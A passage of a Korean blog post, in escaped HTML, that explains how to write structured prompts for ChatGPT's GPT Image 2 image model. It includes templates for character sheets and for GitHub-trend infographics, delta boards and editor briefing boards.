- 위치: 캐릭터 머리 위 또는 옆 빈 공간

[엄수 사항]
- 16칸 모든 캐릭터의 얼굴형/헤어/의상은 100% 동일, 표정만 변화
- 영문이 아닌 정확한 한글로 텍스트 렌더링
- 첨부 사진 속 인물의 핵심 얼굴 비율(눈 사이 거리, 코-입 거리, 얼굴 윤곽)은 그대로 유지&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 0 0 16px 0; color: #444; line-height: 1.75;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; color: #444; line-height: 1.75;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 생성되는 사진 예시&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;1254&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xVQuW/dJMcacJI7sF/NhCR0aQ2kXNo7HUJZqY930/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xVQuW/dJMcacJI7sF/NhCR0aQ2kXNo7HUJZqY930/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xVQuW/dJMcacJI7sF/NhCR0aQ2kXNo7HUJZqY930/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxVQuW%2FdJMcacJI7sF%2FNhCR0aQ2kXNo7HUJZqY930%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1254&quot; height=&quot;1254&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;1254&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0 0 16px 0; color: #444; line-height: 1.75;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #444; line-height: 1.75;&quot; data-ke-size=&quot;size16&quot;&gt;이런 결과물을 만드는 프롬프트 구조, 커뮤니티에서 검증된 팁, 한글 텍스트 처리 방법을 다룬다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목차&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;GPT Image 2가 일반 사용자에게 의미하는 것&lt;/li&gt;
&lt;li&gt;이미지 생성 시작하기 &amp;mdash; ChatGPT에서 바로 쓰는 방법&lt;/li&gt;
&lt;li&gt;이미지 유형별 프롬프트 가이드&lt;/li&gt;
&lt;li&gt;한글 텍스트 잘 넣는 법&lt;/li&gt;
&lt;li&gt;프롬프트 작성 핵심 원칙 5가지&lt;/li&gt;
&lt;li&gt;대화형 편집 &amp;mdash; 수정 요청하는 방법&lt;/li&gt;
&lt;li&gt;실패 패턴과 해결법&lt;/li&gt;
&lt;li&gt;실전 워크플로우 &amp;mdash; 콘텐츠 제작 파이프라인&lt;/li&gt;
&lt;li&gt;결론 &amp;mdash; 이미지 유형 선택 가이드&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. GPT Image 2가 일반 사용자에게 의미하는 것&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GPT Image 2(&lt;code&gt;gpt-image-2&lt;/code&gt;)는 OpenAI가 2026년 4월 21일 공개한 ChatGPT 이미지 생성 모델이다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://openai.com/index/introducing-chatgpt-images-2-0/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI 공식 발표&lt;/a&gt;). 모델 이름보다 먼저 봐야 할 것은 일반 사용자 입장에서 무엇이 달라졌느냐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조금 더 직설적으로 말하면, 이전 세대에서 자주 틀리던 부분이 한꺼번에 줄었다. 글자가 깨지고, 색이 노랗게 뜨고, 익숙한 UI가 어색하게 그려지던 지점들이다. 그래서 이번 모델은 &quot;신기한 이미지 생성기&quot;보다 &quot;실제로 써먹을 수 있는 시각 도구&quot;에 더 가까워졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한글이 드디어 제대로 나온다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 모델에서 가장 답답했던 부분이다. 이미지 안에 한글을 넣으면 자모가 분리되거나, 비슷하게 생긴 다른 글자로 바뀌었다. GPT Image 2는 텍스트 렌더링이 대폭 향상되어 간판, 라벨, UI 화면 안의 한글이 실용 수준으로 정확해졌다. 한국어 콘텐츠를 만드는 입장에서는 체감 차이가 꽤 크다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;노란색 편향이 사라졌다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 모델은 흰 배경을 요청해도 결과물이 노랗게 뜨는 경향이 있었다. GPT Image 2에서는 색상 편향이 제거되어 흰 배경, 중성 색상, 다크 테마가 의도한 대로 나온다. &quot;라이트 그레이 배경&quot; 같은 미묘한 색상 지시도 따라온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실제 UI와 브랜드 외관을 안다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세계 지식이 강화되어 YouTube 플레이어, Windows 탐색기, iPhone 프레임 같은 실제 UI 요소를 자연스럽게 그린다. 가짜 비슷한 화면이 아니라, 실제 그 화면처럼 보이는 시안을 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;대화로 수정할 수 있다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 이미지를 가리키며 &quot;배경만 네이비로 바꿔줘&quot;, &quot;오른쪽 항목 3개 추가해줘&quot;처럼 자연어로 수정 요청이 가능하다. 기존에는 프롬프트를 통째로 다시 짜야 했던 작업이 한 줄로 끝난다.&lt;/p&gt;
&lt;!-- 콜아웃: 파랑 --&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;결국 GPT Image 2의 일반 사용자용 가치는 네 가지로 압축된다. 한글 텍스트, 정확한 색상, 실제 UI 재현, 대화형 편집. 이 네 가지가 이 글의 프롬프트 패턴 전체를 받쳐준다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 이미지 생성 시작하기 &amp;mdash; ChatGPT에서 바로 쓰는 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시작은 어렵지 않다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://chatgpt.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ChatGPT&lt;/a&gt;에 로그인해서 채팅창에 한국어로 원하는 이미지를 설명하면 된다. 필요하면 사이드바의 More &amp;rarr; Images 메뉴로 시작해도 된다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://help.openai.com/en/articles/11084440-images-in-chatgpt&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 도움말&lt;/a&gt;).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 짧은 형태는 이렇다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;강아지가 공원에서 뛰노는 수채화 스타일 이미지 만들어줘.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 정도로도 결과물은 나오지만, 의도한 그림과는 거리가 있다. 이 글에서 다루는 모든 패턴의 출발점은 &lt;b&gt;짧은 한 줄을 구조화된 프롬프트로 확장하는 것&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026-04-28 기준 ChatGPT Images 2.0은 Free를 포함한 전 요금제에서 사용할 수 있다. 다만 생성 속도, 사용 한도, thinking 기반 이미지 같은 고급 기능 범위는 플랜별로 다르므로 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://openai.com/chatgpt/pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 가격 페이지&lt;/a&gt;와 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://help.openai.com/en/articles/11084440-images-in-chatgpt&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;도움말&lt;/a&gt;에서 최신 기준을 확인하는 편이 확실하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1448&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TvZwF/dJMcahRKunE/d9l9XgK2wN6zhzaaAZGPik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TvZwF/dJMcahRKunE/d9l9XgK2wN6zhzaaAZGPik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TvZwF/dJMcahRKunE/d9l9XgK2wN6zhzaaAZGPik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTvZwF%2FdJMcahRKunE%2Fd9l9XgK2wN6zhzaaAZGPik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1448&quot; height=&quot;1086&quot; data-origin-width=&quot;1448&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1448&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bk7Dx0/dJMcac3X5xw/LksUz2SEskuy1PjkRLg9Rk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bk7Dx0/dJMcac3X5xw/LksUz2SEskuy1PjkRLg9Rk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bk7Dx0/dJMcac3X5xw/LksUz2SEskuy1PjkRLg9Rk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbk7Dx0%2FdJMcac3X5xw%2FLksUz2SEskuy1PjkRLg9Rk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1448&quot; height=&quot;1086&quot; data-origin-width=&quot;1448&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 이미지 유형별 프롬프트 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 유형별로 본다. 6가지 유형 모두 동일한 골격을 따른다. &lt;b&gt;목적 &amp;rarr; 레이아웃 &amp;rarr; 색상 &amp;rarr; 텍스트 &amp;rarr; 스타일&lt;/b&gt;. 이 순서로 채워 넣으면 결과물이 한결 안정적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-1. 인포그래픽 / 요약 카드&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;언제 쓰는가.&lt;/b&gt; 복잡한 정보를 한 장으로 압축할 때다. 뉴스레터 커버, 트렌드 정리, 블로그 헤더, 발표 슬라이드 단일 이미지 등에 잘 맞는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트 작성 핵심 포인트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;레이아웃 구조를 명시한다(예: 3열 그리드, 상-중-하 분할)&lt;/li&gt;
&lt;li&gt;색상 팔레트를 2~3색으로 좁힌다&lt;/li&gt;
&lt;li&gt;정보 위계를 글자 크기 순서로 지정한다&lt;/li&gt;
&lt;li&gt;항목 수를 숫자로 못 박는다(5개 항목, 10개 카드)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;GitHub 트렌딩 레포 TOP5를 한눈에 보여주는 인포그래픽을 만들어줘.

레이아웃: 1열 5행 카드 구조. 상단 타이틀 영역 별도.
배경: 짙은 네이비(#0d1b2a)
강조색: 민트 그린, 흰색
각 카드 구성: 좌측에 순위 번호(매우 크게), 우측에 레포 이름&amp;middot;한줄 설명&amp;middot;스타 수
폰트: 산세리프, 굵은 헤드라인
텍스트는 모두 한국어. 상단 타이틀에 [GitHub 트렌딩 TOP5] 라고 표기.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRDXaC/dJMcaiC7ODY/KEdiYQ87X1PABhHRTp2JAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRDXaC/dJMcaiC7ODY/KEdiYQ87X1PABhHRTp2JAK/img.png&quot; style=&quot;width: 55.0506%; margin-right: 10px;&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1491&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;55.7&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRDXaC/dJMcaiC7ODY/KEdiYQ87X1PABhHRTp2JAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRDXaC%2FdJMcaiC7ODY%2FKEdiYQ87X1PABhHRTp2JAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;1491&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YUh9n/dJMcabxebal/GAIHJvsgtWrjRrdovIiiI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YUh9n/dJMcabxebal/GAIHJvsgtWrjRrdovIiiI0/img.png&quot; style=&quot;width: 43.7866%;&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;1672&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;44.3&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YUh9n/dJMcabxebal/GAIHJvsgtWrjRrdovIiiI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYUh9n%2FdJMcabxebal%2FGAIHJvsgtWrjRrdovIiiI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;941&quot; height=&quot;1672&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Trendshift 스타일은 여기서 세 갈래로 더 확장할 수 있다.&lt;/b&gt; 같은 데이터를 놓고도 질문을 어떻게 던지느냐에 따라 이미지 성격이 달라진다. 하나는 &lt;b&gt;오늘 뭐가 바뀌었는지&lt;/b&gt;, 하나는 &lt;b&gt;그래서 무엇이 중요한지&lt;/b&gt;, 마지막 하나는 &lt;b&gt;지금 어디에 베팅할지&lt;/b&gt;를 보여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1) 전일 대비 델타 보드.&lt;/b&gt; 오늘 순위표만 보여주는 대신 &lt;code&gt;New / 급상승 / 유지 / 이탈&lt;/code&gt; 네 칸으로 나누는 방식이다. &quot;오늘 새로 들어온 것&quot;과 &quot;갑자기 치고 올라온 것&quot;을 빠르게 보여주고 싶을 때 좋다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;오늘과 어제 데이터를 비교해서, 전일 대비 변화만 한눈에 보이는 델타 보드를 만들어줘.

주제: [Trendshift GitHub TOP25 전일 대비 변화]
형식: 한 장짜리 에디토리얼 인포그래픽

반드시 포함:
- 상단 제목 [오늘 무엇이 바뀌었나]
- 기준 날짜 [2026-04-29 vs 2026-04-28]
- 4개 모듈: New / 급상승 / 유지 / 이탈
- 각 모듈마다 대표 레포 3~5개
- 하단 한 줄 결론

레이아웃:
- 배경은 짙은 네이비
- 상단은 타이틀 영역
- 중앙은 2x2 모듈 그리드
- 각 모듈 헤더는 크게
- 레포 이름은 짧은 메모와 함께

디자인:
- 굵은 산세리프
- 흰색 텍스트 + 민트 / 노랑 / 빨강 포인트 컬러
- 뉴스룸 briefing board 느낌

주의:
- 전일 대비 수치가 없으면 임의 추정하지 말 것
- 날짜와 Source: Trendshift / GitHub 를 이미지 안에 넣을 것&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1491&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhYjyF/dJMcaiXoANX/Yb7AmM2vSfkSAfQKIMthJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhYjyF/dJMcaiXoANX/Yb7AmM2vSfkSAfQKIMthJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhYjyF/dJMcaiXoANX/Yb7AmM2vSfkSAfQKIMthJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhYjyF%2FdJMcaiXoANX%2FYb7AmM2vSfkSAfQKIMthJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;1491&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1491&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TW3b7/dJMcagFl4Th/7o4vaw8C5W0m8QukBT98D0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TW3b7/dJMcagFl4Th/7o4vaw8C5W0m8QukBT98D0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TW3b7/dJMcagFl4Th/7o4vaw8C5W0m8QukBT98D0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTW3b7%2FdJMcagFl4Th%2F7o4vaw8C5W0m8QukBT98D0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1672&quot; height=&quot;941&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2) 에디터 브리핑 보드.&lt;/b&gt; 이건 랭킹표보다 해석이 중심인 포맷이다. 메인 헤드라인 1개, 오늘의 핵심 흐름 3개, 에디터 픽 5개, 마지막 판단 1줄로 끝낸다. 본문 삽입용이나 SNS 공유용으로 특히 강하다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;오늘 데이터의 핵심만 해설하는 에디터 브리핑 보드를 만들어줘.

주제: [Trendshift GitHub TOP25]
목표: 오늘 꼭 봐야 할 흐름만 1장으로 요약

반드시 포함:
- 메인 타이틀 [Today&amp;rsquo;s Editor Brief]
- 서브타이틀 [2026-04-29 기준]
- 오늘의 핵심 흐름 3개
- 에디터 픽 5개
- 각 픽마다 한 줄 이유
- 하단 [오늘의 판단] 한 문장

레이아웃:
- 상단 20%는 제목 영역
- 좌측은 핵심 흐름 3개 세로 배치
- 우측은 에디터 픽 5개 카드형 정렬
- 하단은 전체 총평 밴드

스타일:
- 짙은 네이비 배경
- 흰색 텍스트
- 포인트 컬러는 청록과 형광 라임
- 편집장 메모처럼 날카로운 분위기
- 한국어 가독성 최우선

주의:
- 분류와 판단은 편집적 해석임을 드러낼 것
- 긴 설명 대신 짧은 판단 문장 위주로&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdn31b/dJMcahRKvIg/zKxttDXKczel7xrDMihNFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdn31b/dJMcahRKvIg/zKxttDXKczel7xrDMihNFk/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1491&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdn31b/dJMcahRKvIg/zKxttDXKczel7xrDMihNFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbdn31b%2FdJMcahRKvIg%2FzKxttDXKczel7xrDMihNFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;1491&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dz0Q8g/dJMcac3X6NS/phKrWkPx4m8IeQjKtw64AK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dz0Q8g/dJMcac3X6NS/phKrWkPx4m8IeQjKtw64AK/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1491&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dz0Q8g/dJMcac3X6NS/phKrWkPx4m8IeQjKtw64AK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdz0Q8g%2FdJMcac3X6NS%2FphKrWkPx4m8IeQjKtw64AK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;1491&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3) 기회 매트릭스.&lt;/b&gt; 이 포맷은 &lt;code&gt;지금 써볼 것 / 더 지켜볼 것 / 과열 / 기반도구&lt;/code&gt;처럼 판단을 시각화한다. 단순 인기 순위보다 한 단계 더 해설적인 이미지가 필요할 때 잘 맞는다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;다음 데이터를 2x2 기회 매트릭스로 정리한 에디토리얼 인포그래픽을 만들어줘.

주제: [Trendshift GitHub TOP25]
목표: 화제성과 실사용 가능성을 기준으로 무엇을 지금 써볼지 정리

축:
- 가로축: 실사용 가능성 낮음 &amp;rarr; 높음
- 세로축: 화제성 낮음 &amp;rarr; 높음

반드시 포함:
- 2x2 매트릭스
